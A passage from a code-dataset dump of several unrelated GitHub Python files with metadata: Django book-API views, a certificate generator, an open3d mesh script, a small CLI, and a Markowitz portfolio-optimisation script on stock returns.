str(idx).zfill(4) + \".ply\"), mesh, write_ascii=True)\n    \n", "repo_name": "diegothomas/Interactive-Animatable-Avatar", "sub_path": "Canonicalization/Poisson_rec.py", "file_name": "Poisson_rec.py", "file_ext": "py", "file_size_in_byte": 1734, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "open3d.io.read_point_cloud", "line_number": 26, "usage_type": "call"}, {"api_name": "open3d.io", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "open3d.utility.VerbosityContextManager", "line_number": 30, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 30, "usage_type": "attribute"}, {"api_name": "open3d.utility", "line_number": 31, "usage_type": "attribute"}, {"api_name": "open3d.geometry.TriangleMesh.create_from_point_cloud_poisson", "line_number": 32, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 32, "usage_type": "attribute"}, {"api_name": "open3d.io.write_triangle_mesh", "line_number": 37, "usage_type": "call"}, {"api_name": "open3d.io", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}]}
{"seq_id": "69953590344", "text": "\"\"\"\nsource: own\nauthor: https://github.com/MarkShawn2020\ncreate: Nov 08, 2022, 14:56\n\"\"\"\n\nfrom argparse import ArgumentParser\n\nfrom src.pdf2images import pdf2images\n\nfrom src.parseLZY.parseQuestionPage import splitProblems\n\n\nif __name__ == '__main__':\n    parser = ArgumentParser()\n    subparsers = parser.add_subparsers(dest='command')\n\n    parser_pdf2images = subparsers.add_parser('pdf2images')\n    parser_pdf2images.add_argument('fp', help='pdf文档，本项目目前使用的是2021年李正元复习全书数学一习题册')\n    parser_pdf2images.set_defaults(func=lambda x: pdf2images(fp=x.fp))\n\n    parser_split_problems = subparsers.add_parser('split-problems')\n    parser_split_problems.add_argument('fp', help='李正元习题册某一页的图片文件地址，在 data/images 下')\n    parser_split_problems.set_defaults(func=lambda x: splitProblems(fp=x.fp))\n\n    args = parser.parse_args()\n    args.func(args)\n", "repo_name": "MarkShawn2020/image2anki", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 927, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "src.pdf2images.pdf2images", "line_number": 20, "usage_type": "call"}, {"api_name": "src.parseLZY.parseQuestionPage.splitProblems", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "21288863926", "text": "from functools import partial\nfrom base.models import Book\nfrom base.serializers import BookSerializer\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view,permission_classes\nfrom rest_framework.permissions import IsAuthenticated, IsAdminUser\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\n\n\n# Create your views here.\n\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef getBooks(request, pk=None):\n    if pk is not None:\n        book = Book.objects.get(id=pk)\n        serializer = BookSerializer(book, many=False)\n    else:\n        books = Book.objects.all()\n        serializer = BookSerializer(books, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\n@permission_classes([IsAdminUser])\ndef createBook(request):\n    data = request.data\n    book = Book.objects.create(\n        title = data['title'],\n        author = data['author'],\n        quantity = data['quantity']\n    )\n    serializer = BookSerializer(book, many=False)\n    return Response(serializer.data)\n\n\n@api_view(['PUT'])\n@permission_classes([IsAdminUser])\ndef updateBook(request, pk):\n    data= request.data\n    book = Book.objects.get(id=pk)\n    book.title = data['title']\n    book.author = data['author']\n    book.quantity = data['quantity']\n    book.save()\n    serializer = BookSerializer(book, many=False, partial=True)\n    return Response(serializer.data) \n\n\n@api_view(['DELETE'])\n@permission_classes([IsAdminUser])\ndef deleteBook(request, pk):\n    book = Book.objects.get(id=pk)\n    book.delete()\n    return Response({'message':'Book Deleted Successfully'})", "repo_name": "dishu24/library_management_system", "sub_path": "base/views/books_views.py", "file_name": "books_views.py", "file_ext": "py", "file_size_in_byte": 1629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "base.models.Book.objects.get", "line_number": 18, "usage_type": "call"}, {"api_name": "base.models.Book.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "base.models.Book", "line_number": 18, "usage_type": "name"}, {"api_name": "base.serializers.BookSerializer", "line_number": 19, "usage_type": "call"}, {"api_name": "base.models.Book.objects.all", "line_number": 21, "usage_type": "call"}, {"api_name": "base.models.Book.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "base.models.Book", "line_number": 21, "usage_type": "name"}, {"api_name": "base.serializers.BookSerializer", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 15, "usage_type": "name"}, {"api_name": "base.models.Book.objects.create", "line_number": 30, "usage_type": "call"}, {"api_name": "base.models.Book.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "base.models.Book", "line_number": 30, "usage_type": "name"}, {"api_name": "base.serializers.BookSerializer", "line_number": 35, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 36, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 27, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 27, "usage_type": "name"}, {"api_name": "base.models.Book.objects.get", "line_number": 43, "usage_type": "call"}, {"api_name": "base.models.Book.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "base.models.Book", "line_number": 43, "usage_type": "name"}, {"api_name": "base.serializers.BookSerializer", "line_number": 48, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 49, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 39, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 40, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 40, "usage_type": "name"}, {"api_name": "base.models.Book.objects.get", "line_number": 55, "usage_type": "call"}, {"api_name": "base.models.Book.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "base.models.Book", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 57, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 53, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "21130382667", "text": "from django.contrib import admin\n\nfrom services.models import services\n# Register your models here.\n\nclass servicesModelAdmin (admin.ModelAdmin):\n\tlist_display = [\"__unicode__\", \"last_updated_time\"]\n\tclass Meta:\n\t\tmodel = services\n\nadmin.site.register(services, servicesModelAdmin)\n\n", "repo_name": "kamalteja/PICloud", "sub_path": "services/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 6, "usage_type": "name"}, {"api_name": "services.models.services", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 11, "usage_type": "call"}, {"api_name": "services.models.services", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "37389979982", "text": "import pandas as pd\nfrom PIL import Image, ImageDraw, ImageFont\n\ndata = pd.read_excel (r'C:\\Users\\Rahul sinha\\Desktop\\Python Learning Jupyter\\gen.xlsx') \nname_list = data[\"Name\"].tolist() \nfor i in name_list:\n    im = Image.open(r'C:\\Users\\Rahul sinha\\Desktop\\Python Learning Jupyter\\new.jpg')\n    d = ImageDraw.Draw(im)\n    location = (100, 398)\n    text_color = (0, 137, 209)\n    font = ImageFont.truetype(\"arial.ttf\", 120)\n    d.text(location, i, fill = text_color, font = font)\n    im.save(\"certificate_\" + i + \".pdf\")\n\n\n\n", "repo_name": "rahulsinha036/Generate-Certificate-using-Python3", "sub_path": "Certificate_Generator.py", "file_name": "Certificate_Generator.py", "file_ext": "py", "file_size_in_byte": 526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_excel", "line_number": 4, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 7, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 7, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 8, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 8, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 11, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "42817800108", "text": "\n# coding: utf-8\n\n# In[4]:\n\n\nimport numpy as np \nimport pandas as pd \nfrom datetime import datetime\nfrom pandas_datareader import data as web\nimport matplotlib.pyplot as plt\nimport scipy.optimize as sco\n\n# Dow Jones Industrial Average Tickers\n\n# DJIA = ['JNJ','UTX','IBM','CVX','PG','KO','MCD','MSFT','DIS','VZ','NKE','AAPL','INTC', '^GSPC']\nSETH = ['BIV','BLV','BND','VCIT','VFIAX','VYM','VO','VB','VWO','VSS','VGTSX','VNQ','PARWX']\n\nDJIA = ['JNJ','IBM','CVX','PG','KO','MCD','MSFT','DIS','BA','NKE','AAPL','INTC','FIZZ','^GSPC']\n\n# Dates\nstart = datetime(2010, 1, 1)\nend = datetime.today()\n# Grab data, change to weekly returns and write to CSV\n\n\n# In[5]:\n\n\ndef getdata(listofstocks, startdate, enddate):\n    for i in range(2):\n        try:\n            x = web.DataReader(listofstocks,\"yahoo\", startdate, enddate)['Adj Close']\n            break\n        except Exception as error:\n            print(\"Could not pull the data see below error /n{}\".format(error))\n    df = pd.DataFrame(x)\n    df = df.resample('W-FRI').last().sort_index(ascending=False) #changing data to weekly\n    for row in range(len(df)-1):\n        df.iloc[row] = df.iloc[row].div(df.iloc[row+1]) #return\n    df = df.iloc[:-1]\n    df = np.log(df)  #taking log return\n    df.to_csv('SethFundData.csv', encoding='utf-8') #write to CSV\n    return(df)\n\ndata = getdata(DJIA, start, end)\nprint((data).head(5))\nprint((data).tail(5))\n# print(data[['AAPL']])\n\n\n# In[6]:\n\n\nmult = 52.1429 #number of weeks per year\nnumberofstocks = 13\n# data = pd.read_csv('SethFundData.csv', index_col=False)\n\ndef split_data(dataframe, numberofstocks):\n# \tnumberofstocks = numberofstocks + 1\n\ttemp1 = data.iloc[:,0:(numberofstocks)]\n\ttemp2 = data[['^GSPC']]\n\ttemp2.columns = ['S&P']\n\tdf = pd.concat([temp1,temp2],axis = 1) # select number of columns\n\tsample_df = df.iloc[0:int(len(df.index)/5),:-1]\n\ttrn_df = df.iloc[int(len(df.index)/5):len(df.index),:-1]\n\ttrn_df_graph = df.iloc[int(len(df.index)/5):len(df.index),:]  \n\tsample_bench = df.iloc[0:int(len(df.index)/5),-1]   \n\treturn(trn_df,sample_df,trn_df_graph, sample_bench)\n\n\ntrn_df = split_data(data,numberofstocks)[0]\ntrn_df_graph = split_data(data,numberofstocks)[2] \nprint((trn_df_graph).head(5))\n\n# df = pd.concat([dataframe.iloc[:,0:(numberofstocks)],datafreme[['^GSPC']]], axis = 1)\n\n\n# In[7]:\n\n\ntrn_df.mean() * mult\n\n\n# In[8]:\n\n\ntrn_df.std() * mult\n\n\n# In[9]:\n\n\ntrn_df.cov() * mult\n\n\n# In[10]:\n\n\n\ndef graph_ret(dataframe, location):\n\ttrn_ret_df = dataframe.sort_index(ascending=True)\n\ttrn_ret_df.iloc[:,:] = trn_ret_df.iloc[:,:].add(1)\n\tfor row in range(0,len(trn_ret_df.index), +1):\n\t\ttrn_ret_df.iloc[row,:] = (trn_ret_df.iloc[row,:]).mul(trn_ret_df.iloc[row-1,:])\n# \ttrn_ret_df.set_index('Date',inplace=True)\n\ttrn_ret_df.plot(figsize=(14,6))\n\tplt.savefig(location)\n\tplt.show()\n\tplt.close()\n\treturn(trn_ret_df)\nprint(graph_ret(trn_df_graph, \"./return.png\"))\n\n\n\n# In[11]:\n\n\nnoc=len(trn_df.columns) # total number for index of columns\nprint(\"Number of Columns={}\".format(noc))\n\n\n# In[12]:\n\n\ndef basic_ret(dataframe, noc):# annualized mean return\n\tnp.random.seed(0)\n\tweights = np.random.random(noc) # initial random weights\n\tweights /= np.sum(weights) #take weight devide by sum of eights and save \n\t\n\texp_ret = np.dot(dataframe.mean(), weights) * mult #annualized expected return with initial weights\n\texp_var = np.dot(weights.T, np.dot(dataframe.cov() * mult, weights))\n\texp_vol = np.sqrt(exp_var)\n\treturn(exp_var, exp_vol, exp_ret)\n\n\n# In[13]:\n\n\ndef simulation(dataframe, steps, noc):\n\tprets = []\n\tpvols = []\n\tfor i in range(steps):\n\t\tnp.random.seed(i)\n\t\tweights = np.random.random(noc)\n\t\tweights /= np.sum(weights)\n\t\texp_ret = np.dot(dataframe.mean(), weights) * mult\n\t\tprets.append(exp_ret)\n\t\texp_var = np.dot(weights.T, np.dot(dataframe.cov() * mult, weights))\n\t\tpvols.append(np.sqrt(exp_var))\n\tprets = np.array(prets)\n\tpvols = np.array(pvols)\n\treturn(prets, pvols)\n\n\n# In[14]:\n\n\nprets, pvols = simulation(trn_df,10000,noc)[0:2]\nprint(\"Expected Max Sharp = {}\".format(max(prets/pvols)))\nexp_vol, exp_ret = basic_ret(trn_df, noc)[1:3]\nplt.figure(figsize=(8,4))\nplt.scatter(pvols,prets, c= prets / pvols, marker =\"o\")\nplt.plot(exp_vol,exp_ret, 'r*', markersize=15.0)\nplt.grid(True)\nplt.xlabel(\"Expected Volatility: Risk\")\nplt.ylabel(\"Expected Return\")\nplt.colorbar(label = \"Sharpe ratio\")\nplt.savefig(\"./scatterplot.png\")\nplt.show()\nplt.close()\n\n\n# In[15]:\n\n\ndef statistics(weights):\n\tweights = np.array(weights)\n\tpret = np.dot(trn_df.mean(), weights) * mult\n\tpvol = np.sqrt(np.dot(weights.T, np.dot(trn_df.cov() * mult, weights)))\n\treturn(np.array([pret,pvol, pret / pvol]))\n\n\n# In[16]:\n\n\nbase_weights = noc * [1/noc,]\nprint(\"baseweights = {}\".format(np.array(base_weights).round(4)))\n\n\n# In[17]:\n\n\ncons = ({'type':'eq', 'fun':lambda x: np.sum(x) - 1}) #defining constraints \nbnds = tuple((0, 1) for x in range(noc))\n# stocknames = np.delete(np.array(trn_df.columns),(0), axis=0)\nstocknames = np.array(trn_df.columns)\nprint(cons)\nprint(bnds)\nprint(stocknames)\n\n\n# In[18]:\n\n\ndef min_sharpe(weights):\n\treturn(-statistics(weights)[2])\n\n\n# In[19]:\n\n\nopts = sco.minimize(min_sharpe, base_weights, method='SLSQP', bounds=bnds, constraints=cons)\nmax_sharp_weights = np.column_stack((stocknames, opts['x'].T.round(3)))\nmax_sharp_weights = np.flipud(max_sharp_weights[max_sharp_weights[:,1].argsort()])\nprint(\"Max Sharp weights\")\nprint(max_sharp_weights)\nstatoutnames = np.array(['return','volatility', 'sharp'])\npd.DataFrame(np.column_stack((statoutnames, statistics(opts['x']).T.round(4))).T)\n\n\n# In[20]:\n\n\n# prets, pvols = simulation(trn_df,2500,noc)[0:2]\nexp_ret_sharp, exp_vol_sharp = statistics(opts['x'])[0:2]\nprint(exp_ret_sharp, exp_vol_sharp)\nplt.figure(figsize=(12,6))\nplt.scatter(pvols,prets, c = prets / pvols, marker =\"o\")\nplt.plot(exp_vol_sharp,exp_ret_sharp, 'r*', markersize=15.0)\nplt.grid(True)\nplt.xlabel(\"Expected Volatility: Risk\")\nplt.ylabel(\"Expected Return\")\nplt.colorbar(label = \"Sharpe ratio\")\nplt.savefig(\"./scatterplot.png\")\nplt.show()\nplt.close()\n\n\n# In[21]:\n\n\ndef max_ret(weights):\n\treturn(-statistics(weights)[0])\n\n\n# In[22]:\n\n\noptr = sco.minimize(max_ret, base_weights, method='SLSQP', bounds=bnds, constraints=cons)\nmax_ret_weights = np.column_stack((stocknames, optr['x'].T.round(3)))\nmax_ret_weights = np.flipud(max_ret_weights[max_ret_weights[:,1].argsort()])\nprint(\"Maximize return weights\")\nprint(max_ret_weights)\npd.DataFrame(np.column_stack((statoutnames, statistics(optr['x']).T.round(4))).T)\n\n\n# In[23]:\n\n\n# prets, pvols = simulation(trn_df,2500,noc)[0:2]\nexp_ret_ret, exp_vol_ret = statistics(optr['x'])[0:2]\nprint(exp_ret_ret, exp_vol_ret)\nplt.figure(figsize=(12,6))\nplt.scatter(pvols,prets, c = prets / pvols, marker =\"o\")\nplt.plot(exp_vol_ret,exp_ret_ret, 'r*', markersize=15.0)\nplt.grid(True)\nplt.xlabel(\"Expected Volatility: Risk\")\nplt.ylabel(\"Expected Return\")\nplt.colorbar(label = \"Sharpe ratio\")\nplt.savefig(\"./scatterplot.png\")\nplt.show()\nplt.close()\n\n\n# In[24]:\n\n\ndef min_pvol(weights):   #New function to minimize\n\treturn(statistics(weights)[1])\n\n\n# In[25]:\n\n\noptv = sco.minimize(min_pvol, base_weights, method='SLSQP', bounds=bnds, constraints=cons)\nmin_vol_weights = np.column_stack((stocknames, optv['x'].T.round(3)))\nmin_vol_weights = np.flipud(min_vol_weights[min_vol_weights[:,1].argsort()])\nprint(\"Minimize risk weights\")\nprint(min_vol_weights)\npd.DataFrame(np.column_stack((statoutnames, statistics(optv['x']).T.round(4))).T)\n\n\n# In[26]:\n\n\n# prets, pvols = simulation(trn_df,2500,noc)[0:2]\nexp_ret_vol, exp_vol_vol = statistics(optv['x'])[0:2]\nprint(exp_ret_vol, exp_vol_vol)\nplt.figure(figsize=(12,6))\nplt.scatter(pvols,prets, c = prets / pvols, marker =\"o\")\nplt.plot(exp_vol_vol,exp_ret_vol, 'r*', markersize=15.0)\nplt.grid(True)\nplt.xlabel(\"Expected Volatility: Risk\")\nplt.ylabel(\"Expected Return\")\nplt.colorbar(label = \"Sharpe ratio\")\nplt.savefig(\"./scatterplot.png\")\nplt.show()\nplt.close()\n\n\n# In[28]:\n\n\ntrets = np.linspace(0.10,0.18,14)\ntvols = []\ntweights = []\n\nfor tret in trets:\n\tcons = ({'type':'eq', 'fun':lambda x: statistics(x)[0] - tret},   #New constraints\n\t\t\t{'type':'eq', 'fun':lambda x: np.sum(x) - 1})\n\tres = sco.minimize(min_pvol, base_weights, method='SLSQP', bounds=bnds, constraints=cons)\n\ttvols.append(res['fun'])\n\t# temp2 = np.column_stack((res['fun'], res['x'].round(3)))\n\t# temp1 = np.column_stack(tret)\n\t\n\t# tweights.append(temp2)\n\t# # tweights.append(tret)\n\t# tweights.append(res['fun'])\n\ttweights.append(res['x'].round(3))\ntvols = np.array(tvols)\ntweights = np.array(tweights)\n\n\nfront_line = np.column_stack((trets, tvols)).round(3)\ntweights = np.column_stack((front_line,tweights))\ntweights = np.transpose(tweights)\n\ndummy = ['return','volatility']\ndummy = np.array(dummy)\ndummy = np.append(dummy, stocknames)\ndummy = np.column_stack((dummy,tweights))\npd.DataFrame(dummy)\n\n\n# In[30]:\n\n\nplt.figure(figsize=(8,4))\nplt.scatter(pvols,prets, c=prets / pvols, marker =\"o\")\nplt.scatter(tvols,trets, c=trets / tvols, marker =\"x\")\nplt.plot(statistics(opts['x'])[1],statistics(opts['x'])[0], 'r*', markersize=15.0)\nplt.plot(statistics(optv['x'])[1],statistics(optv['x'])[0], 'y*', markersize=15.0)\n# plt.plot(statistics(optr['x'])[1],statistics(optr['x'])[0], 'g*', markersize=15.0)\nplt.grid(True)\nplt.xlabel(\"Expected Volatility: Risk\")\nplt.ylabel(\"Expected Return\")\nplt.colorbar(label = \"Sharpe ratio\")\nplt.savefig(\"./FrontierLine.png\")\nplt.show()\nplt.close()\n\n\n# In[32]:\n\n\nsample_df = split_data(data, numberofstocks)[1]\nsample_df.head(10)\n\n\n# In[33]:\n\n\nsample_df.mean() * mult\n\n\n# In[34]:\n\n\nsample_df.std() * mult\n\n\n# In[35]:\n\n\n##Choose your column\nxx = 11\noptweights = tweights[:,xx - 1][2:]\n\n\n# In[36]:\n\n\ndef test(weights, dataframe):\n\tweights = np.array(weights)\n\tpret = np.dot(dataframe.mean(), weights) * mult\n\tpvol = np.sqrt(np.dot(weights.T, np.dot(dataframe.cov() * mult, weights)))\n\treturn(np.array([pret,pvol, pret / pvol]))\n\n\n# In[37]:\n\n\npd.DataFrame(np.column_stack((statoutnames, test(optweights,sample_df).T.round(4))).T)\n\n\n# In[38]:\n\n\nsample_banch = trn_df_graph = split_data(data,numberofstocks)[3]\nsample_banch.mean() * mult\nteststats = np.array([sample_banch.mean() * mult, sample_banch.std() * mult, ((sample_banch.mean() * mult) / (sample_banch.std() * mult))])\npd.DataFrame(np.column_stack((statoutnames, teststats.T.round(5))).T)\n\n\n# In[39]:\n\n\ndef max_test(weights,dataframe):\n\treturn(test(weights,dataframe)[1])\n\ntest_cons = ({'type':'eq', 'fun':lambda x: np.sum(x) - 1}) #defining constraints \n\n\n\n# In[40]:\n\n\nopt_test = sco.minimize(max_test, base_weights,args=(sample_df), method='SLSQP', bounds=bnds, constraints=test_cons)\nmin_vol_test = np.column_stack((stocknames, opt_test['x'].T.round(3)))\nmin_vol_test = np.flipud(min_vol_test[min_vol_test[:,1].argsort()])\nprint(\"Minimize risk weights\")\nprint(min_vol_test)\n# pd.DataFrame(np.column_stack((statoutnames, test(opt_test['x'],).T.round(4))).T)\n\n", "repo_name": "mishka28/Project", "sub_path": "Project/optimization final.py", "file_name": "optimization final.py", "file_ext": "py", "file_size_in_byte": 10809, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas_datareader.data.DataReader", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas_datareader.data", "line_number": 33, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 144, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 145, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 197, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 213, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 213, "usage_type": "name"}, {"api_name": "numpy.column_stack", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 218, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 230, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "scipy.optimize.minimize", "line_number": 250, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 250, "usage_type": "name"}, {"api_name": "numpy.column_stack", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 252, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 264, "usage_type": "name"}, {"api_name": 